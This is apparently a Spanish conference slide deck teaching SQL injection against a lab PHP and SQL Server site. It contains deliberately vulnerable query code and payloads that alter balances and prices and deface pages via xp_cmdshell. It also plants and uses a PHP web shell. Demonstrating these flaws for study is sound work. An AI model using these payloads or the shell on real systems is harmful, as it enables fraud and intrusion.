More Related Content
Similar to Exploiting Web applications SQL Injection (20)
More from Conferencias FIST (20)
Exploiting Web applications SQL Injection
- 2. SQL Injection
Escenario:
Windows 2000 Professional
Apache Win32 1.3.28
PHP 4.3.3
SQL Server 2000
Documentos HTML y scripts PHP
© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 2
- 3. SQL Injection
Operadora de móviles, servicios online:
consulta de saldo
contratación de teleservicios
A través de un identificador secreto asignado a
cada cliente, que se utiliza para consultar
información y como medio de pago.
© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 3
- 4. SQL Injection
Estructura tabla “clientes”:
© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 4
- 5. SQL Injection
Estructura tabla “servicios”:
© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 5
- 6. SQL Injection
Página principal:
© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 6
- 7. SQL Injection
Consulta de saldo legítima:
© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 7
- 8. SQL Injection
Contratación de un servicio:
© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 8
- 9. SQL Injection
consultasaldo.php:
$query = "SELECT nombre, apellidos, saldo FROM clientes
WHERE id='$idcliente';";
$result = mssql_query ($query);
$nfilas = mssql_num_rows ($result);
while ($row = mssql_fetch_array ($result) ) {
echo "Nombre del cliente: <b>" . $row[0] . " " . $row[1] . "</b><br>";
echo "Saldo actual: <b>" . $row[2] . "</b>";
}
© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 9
- 10. SQL Injection
contratar.php:
$query = "SELECT * FROM servicios WHERE id='$idservicio';";
$result = mssql_query ($query);
$row = mssql_fetch_array ($result);
$precio = $row [3];
echo "El precio del servicio que desea contratar es de <b>$precio</b>
euros<br>";
$saldo_final = $saldo_actual - $precio;
$query = "UPDATE clientes SET saldo=$saldo_final WHERE id='$idcliente';";
mssql_query ($query);
$query = "UPDATE clientes SET servicio" . $idservicio. "=1 WHERE id=
'$idcliente';";
mssql_query ($query);
© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 10
- 11. SQL Injection
Mapear la base de datos:
tablas que componen la base de datos
listado y tipo de las columnas de cada tabla
© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 11
- 12. SQL Injection
5' AND 1=0 union select TABLE_NAME from
INFORMATION_SCHEMA.TABLES—
Warning: mssql_query(): message: Todas las consultas
de una instruccion SQL que contenga un operador
UNION deben tener el mismo numero de expresiones
en sus listas de destino. (severity 16) in
c:apachehtdocsconsultasaldo.php on line 21
5‘ AND 1=0 union select TABLE_NAME," ",1 from
INFORMATION_SCHEMA.TABLES--
© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 12
- 14. SQL Injection
5‘ AND 1=0 union select TABLE_NAME, COLUMN_NAME,1 from
INFORMATION_SCHEMA.COLUMNS
© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 14
- 15. SQL Injection
5‘ AND 1=0 union select TABLE_NAME, COLUMN_NAME,type from
syscolumns, INFORMATION_SCHEMA.COLUMNS—
© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 15
- 16. SQL Injection
5‘ AND 1=0; update clientes set saldo=500000 where id=5555--
© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 16
- 17. SQL Injection
5556'; update servicios set precio=1 where nombre_servicio=
"llamada en espera"—
© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 17
- 18. SQL Injection
Warning: mssql_query(): message: Linea 1: sintaxis incorrecta cerca de '—'.
(severity 15) in c:apachehtdocscontratar.php on line 22
Warning: mssql_query(): message: Comilla no cerrada antes de la cadena de
caracteres ';'. (severity 15) in c:apachehtdocscontratar.php on line 22
© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 18
- 19. SQL Injection
5‘ AND 1=0; exec master..xp_cmdshell 'echo "<html> <body><img
src=http://www.geocities.com/clan_de_vampiros/Caminante.gif> <br>hacked
</body></html>" > c:apachehtdocsdeface.htm'—
5556’; exec master..xp_cmdshell ‘copy c:apachehtdocsdeface.htm
c:apachehtdocsprincipal.htm’—
© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 19
- 21. SQL Injection
shell.php:
<html>
<body><?php
$comando = $_GET["comando"];
echo "$comando<br>";
$resultado = system ($comando);
echo $resultado;
?>
</body>
</html>
O también: passthru ()
© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 21
- 22. SQL Injection
5556'; exec master..xp_cmdshell 'echo "<html><body>
<?php $comando=$_GET["comando"];echo $comando;
$resultado = system ($comando);echo $resultado;?>
</body></html>" > c:apachehtdocsshell.php'--
http://127.0.0.1/shell.php?comando=dir..
© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 22
- 23. SQL Injection
http://127.0.0.1/shell.php?comando=type c:odbc.conf
© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 23
- 24. SQL Injection
En php.ini:
; Magic quotes for incoming
; GET/POST/Cookie data.
magic_quotes_gpc = On / Off
Sin embargo, con campos numéricos esta
protección es inútil
© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 24
Editor's Notes
- Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
- Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
- Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
- Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
- Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
- Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
- Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
- Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
- Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
- Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
- Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
- Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
- Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
- Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
- Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
- Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
- Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
- Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
- Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
- Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
- Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
- Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
- Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.